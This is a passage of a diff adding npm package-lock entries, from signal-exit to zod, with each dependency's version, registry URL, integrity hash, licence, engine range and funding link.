"https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/slice-ansi": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-8.0.0.tgz", + "integrity": "sha512-stxByr12oeeOyY2BlviTNQlYV5xOj47GirPr4yA1hE9JCtxfQN0+tVbkxwCtYDQWhEKWFHsEK48ORg5jrouCAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.2.3", + "is-fullwidth-code-point": "^5.1.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/slice-ansi/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/stackback": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", + "dev": true, + "license": "MIT" + }, + "node_modules/std-env": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.2.0.tgz", + "integrity": "sha512-oCUKSupKTHX53EyjDtuZQ64pjLJ6yYCtpmEw0goYxtjG9KpbRe8KAsl2tBUGU9DyMcJ0RwJ8GqJAFzMXcXW1Rw==", + "dev": true, + "license": "MIT" + }, + "node_modules/string-argv": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/string-argv/-/string-argv-0.3.2.tgz", + "integrity": "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.6.19" + } + }, + "node_modules/string-width": { + "version": "8.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.2.2.tgz", + "integrity": "sha512-GaPUh5gfdrYzqeVNZvUfT23vYYxXzKYidUcnMtJg/3rxRV63EFZy3k6xfKlmfeJD0176lnUV/Usr3XcwSvFzpg==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-east-asian-width": "^1.5.0", + "strip-ansi": "^7.1.2" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/strip-ansi/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "license": "MIT", + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylis": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.2.0.tgz", + "integrity": "sha512-Orov6g6BB1sDfYgzWfTHDOxamtX1bE/zo104Dh9e6fqJ3PooipYyfJ0pUmrZO2wAvO8YbEyeFrkV91XTsGMSrw==", + "license": "MIT" + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", + "dev": true, + "license": "MIT" + }, + "node_modules/tailwind-merge": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.6.0.tgz", + "integrity": "sha512-uxL7qAVQriqRQPAyK3pj66VqskWqoZ37PW94jwOTwNfq/z9oyu1V+eqrZqtR2+fCiXdYOZe/Modt8GtvqNzu+w==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/dcastil" + } + }, + "node_modules/tailwindcss": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.3.2.tgz", + "integrity": "sha512-WtctNNSH8A9jlMIqxzuYumOHU5uGZyRv0Q5svQl+oEPy5w84YpBxdb7MdqyiSPQge5jTJ6zFQLq0PFygdccSBA==", + "dev": true, + "license": "MIT" + }, + "node_modules/tapable": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.3.tgz", + "integrity": "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/tinybench": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", + "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyexec": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.2.4.tgz", + "integrity": "sha512-SHf/r48b7vOrjve9PxJo3MN5v5yuyjHvdUcrQffT3WXMUfnGmHDVbC4k3sHJaJTgZCwpUplIaAo5ANtMyp3YHg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyrainbow": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.1.0.tgz", + "integrity": "sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tldts": { + "version": "7.4.8", + "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.4.8.tgz", + "integrity": "sha512-htwgN/8KRB3z3vnC0BOETVh2m499g5GmyTK9Wq5JBLX3FNz6tSBveAd+fQhzy9hkjif8vy2jwDMR1sGhLtZl2A==", + "dev": true, + "license": "MIT", + "dependencies": { + "tldts-core": "^7.4.8" + }, + "bin": { + "tldts": "bin/cli.js" + } + }, + "node_modules/tldts-core": { + "version": "7.4.8", + "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.4.8.tgz", + "integrity": "sha512-c1P7u0EhACHj7lPy4MJm8iTFEU8+nB0LCtddH0fhP7noaVoXAqafMtOOeX+ulpuPBqnrRgRhw494RICT3mbhnw==", + "dev": true, + "license": "MIT" + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tough-cookie": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.2.tgz", + "integrity": "sha512-exgYmnmL/sJpR3upZfXG5PoatXQii55xAiXGXzY+sROLZ/Y+SLcp9PgJNI9Vz37HpQ74WvDcLT8eqm+kV3FzrA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "tldts": "^7.0.5" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/tr46": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-6.0.0.tgz", + "integrity": "sha512-bLVMLPtstlZ4iMQHpFHTR7GAGj2jxi8Dg0s2h2MafAE4uSWF98FC/3MomU51iQAMf8/qDUbKWf5GxuvvVcXEhw==", + "dev": true, + "license": "MIT", + "dependencies": { + "punycode": "^2.3.1" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/ts-api-utils": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", + "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.12" + }, + "peerDependencies": { + "typescript": ">=4.8.4" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD", + "optional": true + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/typescript": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-6.0.3.tgz", + "integrity": "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/typescript-eslint": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.63.0.tgz", + "integrity": "sha512-xgwXyzG4sK9ALkBxbyGkTMMOS+imnW65iPhxCQMK83KhxyoDNW7l+IDqEf9vMdoUidHpOoS967RCq4eMiTexwQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/eslint-plugin": "8.63.0", + "@typescript-eslint/parser": "8.63.0", + "@typescript-eslint/typescript-estree": "8.63.0", + "@typescript-eslint/utils": "8.63.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/undici": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.29.0.tgz", + "integrity": "sha512-IDxfleLmmbSskfWSUATiN1nfn2rDuvnMOqb5CWR92iIfojA0Ud+ulOAAEQ57LPr9rWmsreUyf5lwyao+7GNNVw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=20.18.1" + } + }, + "node_modules/undici-types": { + "version": "7.18.2", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", + "integrity": "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/vite": { + "version": "8.1.4", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.1.4.tgz", + "integrity": "sha512-bTT9PsdWO+MQMNG9ZXIP/qM9wGh37DFxTV/sPq9cFpHr3w4jkgef032PkAL9jAqhk3Nz8NQw3O8n6/xFkqO4QQ==", + "license": "MIT", + "dependencies": { + "lightningcss": "^1.32.0", + "picomatch": "^4.0.5", + "postcss": "^8.5.16", + "rolldown": "~1.1.4", + "tinyglobby": "^0.2.17" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^20.19.0 || >=22.12.0", + "@vitejs/devtools": "^0.3.0", + "esbuild": "^0.27.0 || ^0.28.0", + "jiti": ">=1.21.0", + "less": "^4.0.0", + "sass": "^1.70.0", + "sass-embedded": "^1.70.0", + "stylus": ">=0.54.8", + "sugarss": "^5.0.0", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "@vitejs/devtools": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vite/node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/vitest": { + "version": "4.1.10", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.10.tgz", + "integrity": "sha512-R9jUTe5S4Qb0HCd4TNqpC7oGcrMssMRGXLW80ubjWsW9VH5GF8y1Y0SFLY9AbqSk6nt0PnOx4H4WNJYZ13GUPw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/expect": "4.1.10", + "@vitest/mocker": "4.1.10", + "@vitest/pretty-format": "4.1.10", + "@vitest/runner": "4.1.10", + "@vitest/snapshot": "4.1.10", + "@vitest/spy": "4.1.10", + "@vitest/utils": "4.1.10", + "es-module-lexer": "^2.0.0", + "expect-type": "^1.3.0", + "magic-string": "^0.30.21", + "obug": "^2.1.1", + "pathe": "^2.0.3", + "picomatch": "^4.0.3", + "std-env": "^4.0.0-rc.1", + "tinybench": "^2.9.0", + "tinyexec": "^1.0.2", + "tinyglobby": "^0.2.15", + "tinyrainbow": "^3.1.0", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0", + "why-is-node-running": "^2.3.0" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": "^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@opentelemetry/api": "^1.9.0", + "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", + "@vitest/browser-playwright": "4.1.10", + "@vitest/browser-preview": "4.1.10", + "@vitest/browser-webdriverio": "4.1.10", + "@vitest/coverage-istanbul": "4.1.10", + "@vitest/coverage-v8": "4.1.10", + "@vitest/ui": "4.1.10", + "happy-dom": "*", + "jsdom": "*", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + }, + "@types/node": { + "optional": true + }, + "@vitest/browser-playwright": { + "optional": true + }, + "@vitest/browser-preview": { + "optional": true + }, + "@vitest/browser-webdriverio": { + "optional": true + }, + "@vitest/coverage-istanbul": { + "optional": true + }, + "@vitest/coverage-v8": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + }, + "vite": { + "optional": false + } + } + }, + "node_modules/w3c-xmlserializer": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", + "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "xml-name-validator": "^5.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/webidl-conversions": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-8.0.1.tgz", + "integrity": "sha512-BMhLD/Sw+GbJC21C/UgyaZX41nPt8bUTg+jWyDeg7e7YN4xOM05YPSIXceACnXVtqyEw/LMClUQMtMZ+PGGpqQ==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=20" + } + }, + "node_modules/whatwg-mimetype": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz", + "integrity": "sha512-sXcNcHOC51uPGF0P/D4NVtrkjSU2fNsm9iog4ZvZJsL3rjoDAzXZhkm2MWt1y+PUdggKAYVoMAIYcs78wJ51Cw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=20" + } + }, + "node_modules/whatwg-url": { + "version": "16.0.1", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-16.0.1.tgz", + "integrity": "sha512-1to4zXBxmXHV3IiSSEInrreIlu02vUOvrhxJJH5vcxYTBDAx51cqZiKdyTxlecdKNSjj8EcxGBxNf6Vg+945gw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@exodus/bytes": "^1.11.0", + "tr46": "^6.0.0", + "webidl-conversions": "^8.0.1" + }, + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=24.0.0" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/why-is-node-running": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", + "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "siginfo": "^2.0.0", + "stackback": "0.0.2" + }, + "bin": { + "why-is-node-running": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrap-ansi": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-10.0.0.tgz", + "integrity": "sha512-SGcvg80f0wUy2/fXES19feHMz8E0JoXv2uNgHOu4Dgi2OrCy1lqwFYEJz1BLbDI0exjPMe/ZdzZ/YpGECBG/aQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.2.3", + "string-width": "^8.2.0", + "strip-ansi": "^7.1.2" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/xml-name-validator": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", + "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "dev": true, + "license": "MIT" + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true, + "license": "ISC" + }, + "node_modules/yaml": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.0.tgz", + "integrity": "sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==", + "license": "ISC", + "optional": true, + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + }, + "funding": { + "url": "https://github.com/sponsors/eemeli" + } + }, + "node_modules/yargs": { + "version": "18.0.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-18.0.0.tgz", + "integrity": "sha512-4UEqdc2RYGHZc7Doyqkrqiln3p9X2DZVxaGbwhn2pi7MrRagKaOcIKe8L3OxYcbhXLgLFUS3zAYuQjKBQgmuNg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cliui": "^9.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "string-width": "^7.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^22.0.0" + }, + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=23" + } + }, + "node_modules/yargs-parser": { + "version": "22.0.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-22.0.0.tgz", + "integrity": "sha512-rwu/ClNdSMpkSrUb+d6BRsSkLUq1fmfsY6TOpYzTwvwkg1/NRG85KBy3kq++A8LKQwX6lsu+aWad+2khvuXrqw==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=23" + } + }, + "node_modules/yargs/node_modules/string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zod": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", + "integrity": 